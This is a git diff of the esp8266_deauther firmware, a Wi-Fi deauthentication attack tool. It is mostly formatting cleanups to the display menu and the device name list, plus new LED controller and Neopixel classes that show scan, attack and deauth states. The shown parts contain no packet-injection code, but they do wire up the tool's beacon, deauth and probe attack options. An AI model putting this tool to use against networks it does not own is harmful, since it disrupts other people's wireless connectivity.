else attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -645,14 +684,16 @@ void DisplayUI::update() {
|
||||
|
||||
else {
|
||||
// timeout to save display life
|
||||
if (mode == SCREEN_MODE_MENU && settings.getDisplayTimeout() > 0 && currentTime > settings.getDisplayTimeout() * 1000) {
|
||||
if ((mode == SCREEN_MODE_MENU) && (settings.getDisplayTimeout() > 0) &&
|
||||
(currentTime > settings.getDisplayTimeout() * 1000)) {
|
||||
uint32_t buttonTimeout = currentTime - settings.getDisplayTimeout() * 1000;
|
||||
if (buttonUp.time < buttonTimeout
|
||||
&& buttonDown.time < buttonTimeout
|
||||
&& buttonLeft.time < buttonTimeout
|
||||
&& buttonRight.time < buttonTimeout
|
||||
&& buttonA.time < buttonTimeout
|
||||
&& buttonB.time < buttonTimeout) {
|
||||
|
||||
if ((buttonUp.time < buttonTimeout)
|
||||
&& (buttonDown.time < buttonTimeout)
|
||||
&& (buttonLeft.time < buttonTimeout)
|
||||
&& (buttonRight.time < buttonTimeout)
|
||||
&& (buttonA.time < buttonTimeout)
|
||||
&& (buttonB.time < buttonTimeout)) {
|
||||
off();
|
||||
}
|
||||
}
|
||||
@@ -669,7 +710,7 @@ void DisplayUI::update() {
|
||||
}
|
||||
|
||||
void DisplayUI::draw() {
|
||||
if (currentTime - drawTime > DRAW_INTERVAL && currentMenu) {
|
||||
if ((currentTime - drawTime > DRAW_INTERVAL) && currentMenu) {
|
||||
drawTime = currentTime;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
@@ -681,16 +722,21 @@ void DisplayUI::draw() {
|
||||
case SCREEN_MODE_BUTTON_TEST:
|
||||
drawButtonTest();
|
||||
break;
|
||||
|
||||
case SCREEN_MODE_MENU:
|
||||
drawMenu();
|
||||
break;
|
||||
|
||||
case SCREEN_MODE_LOADSCAN:
|
||||
drawLoadingScan();
|
||||
break;
|
||||
|
||||
case SCREEN_MODE_PACKETMONITOR:
|
||||
drawPacketMonitor();
|
||||
break;
|
||||
|
||||
case SCREEN_MODE_INTRO:
|
||||
|
||||
if (currentTime - startTime >= SCREEN_INTRO_TIME) {
|
||||
mode = SCREEN_MODE_MENU;
|
||||
}
|
||||
@@ -713,10 +759,15 @@ void DisplayUI::drawString(int x, int y, String str) {
|
||||
void DisplayUI::drawButtonTest() {
|
||||
// ===== adjustable ===== //
|
||||
if (buttonUp.enabled) display.drawString(0, 0, str(D_UP) + b2s(buttonUp.pushed));
|
||||
|
||||
if (buttonDown.enabled) display.drawString(0, 9, str(D_DOWN) + b2s(buttonDown.pushed));
|
||||
|
||||
if (buttonLeft.enabled) display.drawString(0, 18, str(D_LEFT) + b2s(buttonLeft.pushed));
|
||||
|
||||
if (buttonRight.enabled) display.drawString(0, 27, str(D_RIGHT) + b2s(buttonRight.pushed));
|
||||
|
||||
if (buttonA.enabled) display.drawString(0, 36, str(D_A) + b2s(buttonA.pushed));
|
||||
|
||||
if (buttonB.enabled) display.drawString(0, 45, str(D_B) + b2s(buttonB.pushed));
|
||||
// ====================== //
|
||||
}
|
||||
@@ -736,9 +787,10 @@ void DisplayUI::drawMenu() {
|
||||
tmpLen = tmp.length();
|
||||
|
||||
// horizontal scrolling
|
||||
if (currentMenu->selected == i && tmpLen > CHARS_PER_LINE) {
|
||||
if ((currentMenu->selected == i) && (tmpLen > CHARS_PER_LINE)) {
|
||||
tmp = tmp.substring(scrollCounter / SCROLL_SPEED);
|
||||
scrollCounter++;
|
||||
|
||||
if (scrollCounter / SCROLL_SPEED > tmpLen - CHARS_PER_LINE) scrollCounter = 0;
|
||||
}
|
||||
|
||||
@@ -751,7 +803,9 @@ void DisplayUI::drawLoadingScan() {
|
||||
// ===== adjustable ===== //
|
||||
if (scan.isScanning()) {
|
||||
if (scan.isSniffing()) { // Scanning for Stations
|
||||
display.drawString(2, 0, buildString(str(D_LOADING_SCREEN_0), (String)scan.getPercentage() + PERCENT, CHARS_PER_LINE));
|
||||
display.drawString(2, 0,
|
||||
buildString(str(D_LOADING_SCREEN_0), (String)scan.getPercentage() + PERCENT,
|
||||
CHARS_PER_LINE));
|
||||
display.drawProgressBar(5, 22, 118, 8, scan.getPercentage());
|
||||
display.drawString(2, 36, str(D_LOADING_SCREEN_1) + (String)accesspoints.count());
|
||||
display.drawString(2, 50, str(D_LOADING_SCREEN_2) + (String)stations.count());
|
||||
@@ -769,11 +823,13 @@ void DisplayUI::drawLoadingScan() {
|
||||
void DisplayUI::drawPacketMonitor() {
|
||||
// ===== adjustable ===== //
|
||||
double scale = scan.getScaleFactor(50);
|
||||
|
||||
display.drawString(0, 0, str(D_CH) + String(wifi_channel));
|
||||
display.drawString(40, 0, str(D_PKTS) + String(scan.getPacketRate()));
|
||||
display.setTextAlignment(TEXT_ALIGN_RIGHT);
|
||||
display.drawString(128, 0, String(scan.deauths));
|
||||
display.setTextAlignment(TEXT_ALIGN_LEFT);
|
||||
|
||||
if (scan.getMaxPacket() > 0) {
|
||||
for (int i = 0; i < SCAN_PACKET_LIST_SIZE * 2; i += 2) {
|
||||
display.drawLine(i, 64, i, 64 - scan.getPackets(i / 2) * scale);
|
||||
@@ -816,20 +872,24 @@ void DisplayUI::clearMenu(Menu* menu) {
|
||||
void DisplayUI::changeMenu(Menu* menu) {
|
||||
if (menu) {
|
||||
// only open list menu if it has nodes
|
||||
if((menu == &apListMenu && accesspoints.count() == 0) ||
|
||||
(menu == &stationListMenu && stations.count() == 0) ||
|
||||
(menu == &nameListMenu && names.count() == 0)){
|
||||
if (((menu == &apListMenu) && (accesspoints.count() == 0)) ||
|
||||
((menu == &stationListMenu) && (stations.count() == 0)) ||
|
||||
((menu == &nameListMenu) && (names.count() == 0))) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (currentMenu) clearMenu(currentMenu);
|
||||
currentMenu = menu;
|
||||
currentMenu->selected = 0;
|
||||
buttonA.time = currentTime;
|
||||
|
||||
if (selectedID < 0) selectedID = 0;
|
||||
|
||||
if (currentMenu->parentMenu) {
|
||||
addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]
|
||||
currentMenu->selected = 1;
|
||||
}
|
||||
|
||||
if (currentMenu->build) currentMenu->build();
|
||||
}
|
||||
}
|
||||
@@ -845,7 +905,8 @@ void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()> build
|
||||
menu->build = build;
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()> getStr, std::function<void()> click, std::function<void()> hold) {
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,
|
||||
std::function<void()>hold) {
|
||||
menu->list->add(MenuNode{ getStr, click, hold });
|
||||
}
|
||||
|
||||
@@ -870,5 +931,3 @@ void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {
|
||||
return str(ptr);
|
||||
}, next);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,6 @@ extern "C" {
|
||||
#include "Attack.h"
|
||||
|
||||
|
||||
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
@@ -83,6 +82,7 @@ class DisplayUI {
|
||||
void off();
|
||||
|
||||
uint8_t mode = SCREEN_MODE_MENU;
|
||||
|
||||
private:
|
||||
DEAUTHER_DISPLAY // see config.h
|
||||
|
||||
@@ -125,7 +125,8 @@ class DisplayUI {
|
||||
void goBack();
|
||||
void createMenu(Menu* menu, Menu* parent, std::function<void()>build);
|
||||
|
||||
void addMenuNode(Menu* menu, std::function<String()> getStr, std::function<void()> click, std::function<void()> hold);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,
|
||||
std::function<void()>hold);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);
|
||||
void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);
|
||||
@@ -611,5 +612,4 @@ const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {
|
||||
0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
#endif // ifndef DisplayUI_h
|
||||
103
esp8266_deauther/LEDController.cpp
Normal file
103
esp8266_deauther/LEDController.cpp
Normal file
@@ -0,0 +1,103 @@
|
||||
#include "LEDController.h"
|
||||
|
||||
LEDController::LEDController() {}
|
||||
|
||||
LEDController::~LEDController() {
|
||||
if (led) delete led;
|
||||
}
|
||||
|
||||
void LEDController::setup() {
|
||||
#ifdef DIGITAL_LED
|
||||
led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE);
|
||||
led->setup();
|
||||
return;
|
||||
|
||||
#endif // ifdef DIGITAL_LED
|
||||
|
||||
#ifdef RGB_LED
|
||||
led = new AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE);
|
||||
led->setup();
|
||||
return;
|
||||
|
||||
#endif // ifdef RGB_LED
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
led = new NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||
led->setup();
|
||||
return;
|
||||
|
||||
#endif // ifdef NEOPIXEL_LED
|
||||
|
||||
prntln(L_NOT_CONFIGURED);
|
||||
}
|
||||
|
||||
void LEDController::update() {
|
||||
if (!tempEnabled || !led) return;
|
||||
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false);
|
||||
else setMode(LED_MODE::IDLE, false);
|
||||
}
|
||||
|
||||
void LEDController::setMode(uint8_t mode, bool force) {
|
||||
if (!led) return;
|
||||
|
||||
if ((mode != LEDController::mode) || force) {
|
||||
LEDController::mode = mode;
|
||||
|
||||
switch (mode) {
|
||||
case LED_MODE::OFF:
|
||||
led->setColor(0, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::SCAN:
|
||||
led->setColor(0, 0, 255);
|
||||
break;
|
||||
|
||||
case LED_MODE::ATTACK:
|
||||
led->setColor(255, 255, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::DEAUTH:
|
||||
led->setColor(255, 0, 0);
|
||||
break;
|
||||
|
||||
case LED_MODE::IDLE:
|
||||
led->setColor(0, 255, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void LEDController::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||
// debug output
|
||||
if (output) {
|
||||
char s[30];
|
||||
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
led->setColor(r, g, b);
|
||||
}
|
||||
|
||||
void LEDController::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
led->setBrightness(brightness);
|
||||
setColor(r, g, b, output);
|
||||
}
|
||||
|
||||
void LEDController::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void LEDController::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool LEDController::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
49
esp8266_deauther/LEDController.h
Normal file
49
esp8266_deauther/LEDController.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#ifndef LEDController_h
|
||||
#define LEDController_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
|
||||
#include "StatusLED.h"
|
||||
#include "DigitalLED.h"
|
||||
#include "NeopixelLED.h"
|
||||
#include "AnalogRGBLED.h"
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class LEDController {
|
||||
public:
|
||||
enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 };
|
||||
|
||||
LEDController();
|
||||
~LEDController();
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
|
||||
private:
|
||||
bool tempEnabled = true;
|
||||
uint8_t mode = LED_MODE::OFF;
|
||||
StatusLED* led = NULL;
|
||||
};
|
||||
|
||||
#endif // ifndef LEDController_h
|
||||
@@ -14,7 +14,8 @@ void Names::load() {
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(4), false);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
|
||||
4), false);
|
||||
sort();
|
||||
}
|
||||
|
||||
@@ -24,6 +25,7 @@ void Names::load() {
|
||||
|
||||
void Names::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
@@ -32,6 +34,7 @@ void Names::load(String filepath) {
|
||||
void Names::save(bool force) {
|
||||
if (!force && !changed) {
|
||||
return;
|
||||
|
||||
prntln(N_SAVED);
|
||||
}
|
||||
|
||||
@@ -57,6 +60,7 @@ void Names::save(bool force) {
|
||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
@@ -85,6 +89,7 @@ void Names::save(bool force) {
|
||||
|
||||
void Names::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
@@ -104,6 +109,7 @@ void Names::removeAll() {
|
||||
|
||||
bool Names::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(num);
|
||||
return false;
|
||||
@@ -112,15 +118,14 @@ bool Names::check(int num) {
|
||||
int Names::findID(uint8_t* mac) {
|
||||
return list->binSearch([mac](Device& a) -> int {
|
||||
return memcmp(mac, a.mac, 6);
|
||||
},0,count()-1);
|
||||
});
|
||||
}
|
||||
|
||||
String Names::find(uint8_t* mac) {
|
||||
int num = findID(mac);
|
||||
if (num >= 0)
|
||||
return getName(num);
|
||||
else
|
||||
return String();
|
||||
|
||||
if (num >= 0) return getName(num);
|
||||
else return String();
|
||||
}
|
||||
|
||||
void Names::print(int num) {
|
||||
@@ -129,6 +134,7 @@ void Names::print(int num) {
|
||||
|
||||
void Names::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(N_TABLE_HEADER);
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
@@ -142,18 +148,16 @@ void Names::print(int num, bool header, bool footer) {
|
||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer)
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
if (footer) prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void Names::printAll() {
|
||||
prntln(N_HEADER);
|
||||
int c = count();
|
||||
if (c == 0)
|
||||
prntln(N_ERROR_LIST_EMPTY);
|
||||
|
||||
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++)
|
||||
print(i, i == 0, i == c - 1);
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Names::printSelected() {
|
||||
@@ -176,8 +180,7 @@ void Names::printSelected() {
|
||||
|
||||
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force)
|
||||
internal_remove(0);
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
@@ -196,8 +199,7 @@ void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool sele
|
||||
|
||||
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force)
|
||||
internal_remove(0);
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
@@ -216,6 +218,7 @@ void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool se
|
||||
|
||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
if (!check(num)) return;
|
||||
|
||||
remove(num);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
@@ -227,6 +230,7 @@ void Names::replace(int num, String macStr, String name, String bssidStr, uint8_
|
||||
|
||||
void Names::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(N_REMOVED);
|
||||
prntln(getName(num));
|
||||
internal_remove(num);
|
||||
@@ -235,6 +239,7 @@ void Names::remove(int num) {
|
||||
|
||||
void Names::setName(int num, String name) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||
|
||||
prntln(N_CHANGED_NAME);
|
||||
@@ -246,6 +251,7 @@ void Names::setName(int num, String name) {
|
||||
|
||||
void Names::setMac(int num, String macStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
strToMac(macStr, mac);
|
||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||
@@ -257,6 +263,7 @@ void Names::setMac(int num, String macStr) {
|
||||
|
||||
void Names::setCh(int num, uint8_t ch) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||
prntln(N_CHANGED_CH);
|
||||
internal_remove(num);
|
||||
@@ -266,6 +273,7 @@ void Names::setCh(int num, uint8_t ch) {
|
||||
|
||||
void Names::setBSSID(int num, String bssidStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
strToMac(bssidStr, mac);
|
||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||
@@ -277,6 +285,7 @@ void Names::setBSSID(int num, String bssidStr) {
|
||||
|
||||
void Names::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(N_SELECTED);
|
||||
prntln(getName(num));
|
||||
@@ -285,6 +294,7 @@ void Names::select(int num) {
|
||||
|
||||
void Names::select(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
select(i);
|
||||
@@ -297,6 +307,7 @@ void Names::select(String name) {
|
||||
|
||||
void Names::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(N_DESELECTED);
|
||||
prntln(getName(num));
|
||||
@@ -305,6 +316,7 @@ void Names::deselect(int num) {
|
||||
|
||||
void Names::deselect(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
deselect(i);
|
||||
@@ -317,46 +329,53 @@ void Names::deselect(String name) {
|
||||
|
||||
void Names::selectAll() {
|
||||
int c = count();
|
||||
for (int i = 0; i < c; i++)
|
||||
internal_select(i);
|
||||
|
||||
for (int i = 0; i < c; i++) internal_select(i);
|
||||
prntln(N_SELECTED_ALL);
|
||||
}
|
||||
|
||||
void Names::deselectAll() {
|
||||
int c = count();
|
||||
for (int i = 0; i < c; i++)
|
||||
internal_deselect(i);
|
||||
|
||||
for (int i = 0; i < c; i++) internal_deselect(i);
|
||||
prntln(N_DESELECTED_ALL);
|
||||
}
|
||||
|
||||
uint8_t* Names::getMac(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
uint8_t* Names::getBssid(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).apBssid;
|
||||
}
|
||||
|
||||
String Names::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Names::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Names::getBssidStr(int num) {
|
||||
String value;
|
||||
|
||||
if (getBssid(num) != NULL) {
|
||||
uint8_t* mac = getBssid(num);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
}
|
||||
@@ -365,6 +384,7 @@ String Names::getBssidStr(int num) {
|
||||
|
||||
String Names::getName(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return String(list->get(num).name);
|
||||
}
|
||||
|
||||
@@ -374,11 +394,13 @@ String Names::getSelectedStr(int num) {
|
||||
|
||||
uint8_t Names::getCh(int num) {
|
||||
if (!check(num)) return 1;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
bool Names::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
@@ -392,6 +414,7 @@ int Names::count() {
|
||||
|
||||
int Names::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
@@ -399,6 +422,7 @@ int Names::selected() {
|
||||
|
||||
int Names::stations() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (isStation(i)) num++;
|
||||
return num;
|
||||
@@ -410,18 +434,21 @@ bool Names::internal_check(int num) {
|
||||
|
||||
void Names::internal_select(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = true;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_deselect(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = false;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
char* deviceName = (char*)malloc(name.length() + 1);
|
||||
uint8_t* deviceBssid = NULL;
|
||||
@@ -436,7 +463,7 @@ void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch,
|
||||
memcpy(deviceBssid, bssid, 6);
|
||||
}
|
||||
|
||||
if (ch < 1 || ch > 14) ch = 1;
|
||||
if ((ch < 1) || (ch > 14)) ch = 1;
|
||||
|
||||
Device newDevice;
|
||||
newDevice.mac = deviceMac;
|
||||
@@ -450,6 +477,7 @@ void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch,
|
||||
|
||||
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (!strToMac(macStr, mac)) return;
|
||||
|
||||
if (bssidStr.length() == 17) {
|
||||
@@ -464,8 +492,8 @@ void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch
|
||||
void Names::internal_remove(int num) {
|
||||
free(list->get(num).mac);
|
||||
free(list->get(num).name);
|
||||
if (list->get(num).apBssid)
|
||||
free(list->get(num).apBssid);
|
||||
|
||||
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
@@ -473,11 +501,8 @@ void Names::internal_removeAll() {
|
||||
while (count() > 0) {
|
||||
free(list->get(0).mac);
|
||||
free(list->get(0).name);
|
||||
if (list->get(0).apBssid)
|
||||
free(list->get(0).apBssid);
|
||||
|
||||
if (list->get(0).apBssid) free(list->get(0).apBssid);
|
||||
list->remove(0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <ArduinoJson.h>
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
@@ -76,6 +76,7 @@ class Names {
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
@@ -100,7 +101,4 @@ class Names {
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef Names_h
|
||||
@@ -1,110 +1,27 @@
|
||||
#include "Neopixel.h"
|
||||
|
||||
Neopixel::Neopixel() {
|
||||
#include "NeopixelLED.h"
|
||||
|
||||
NeopixelLED::NeopixelLED(int num, uint8_t dataPin, uint8_t brightness) {
|
||||
strip = new Adafruit_NeoPixel(num, dataPin, NEO_GRB + NEO_KHZ800);
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
// setup pins
|
||||
void Neopixel::setup(){
|
||||
if(!settings.getLedEnabled()) return;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
strip.setBrightness(100);
|
||||
strip.begin();
|
||||
strip.show();
|
||||
// ====================== //
|
||||
|
||||
setMode(LED_MODE_OFF, true);
|
||||
NeopixelLED::~NeopixelLED() {
|
||||
delete strip;
|
||||
}
|
||||
|
||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
||||
prnt(String(s));
|
||||
void NeopixelLED::setup() {
|
||||
strip->begin();
|
||||
strip->show();
|
||||
}
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if (brightness > 0 && brightness < 100) {
|
||||
if (r > 0 && brightness < 100) r = r * brightness / 100;
|
||||
if (g > 0 && brightness < 100) g = g * brightness / 100;
|
||||
if (b > 0 && brightness < 100) b = b * brightness / 100;
|
||||
void NeopixelLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
int num = strip->numPixels();
|
||||
|
||||
for (uint16_t i = 0; i < num; i++) strip->setPixelColor(i, strip->Color(r, g, b));
|
||||
strip->show();
|
||||
}
|
||||
|
||||
for(uint16_t i=0;i<LED_NEOPIXEL_NUM;i++){
|
||||
strip.setPixelColor(i,strip.Color(r,g,b,brightness));
|
||||
void NeopixelLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
strip->setBrightness(brightness);
|
||||
}
|
||||
strip.show();
|
||||
// ====================== //
|
||||
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
||||
prnt(String(s));
|
||||
}
|
||||
}
|
||||
|
||||
// customize color codes for different LED modes
|
||||
void Neopixel::setMode(uint8_t mode, bool force) {
|
||||
// ===== adjustable ===== //
|
||||
if (mode != Neopixel::mode || force) {
|
||||
Neopixel::mode = mode;
|
||||
switch (mode) {
|
||||
case LED_MODE_OFF:
|
||||
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_SCAN:
|
||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
|
||||
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_ATTACK:
|
||||
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_DEAUTH:
|
||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
|
||||
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_IDLE:
|
||||
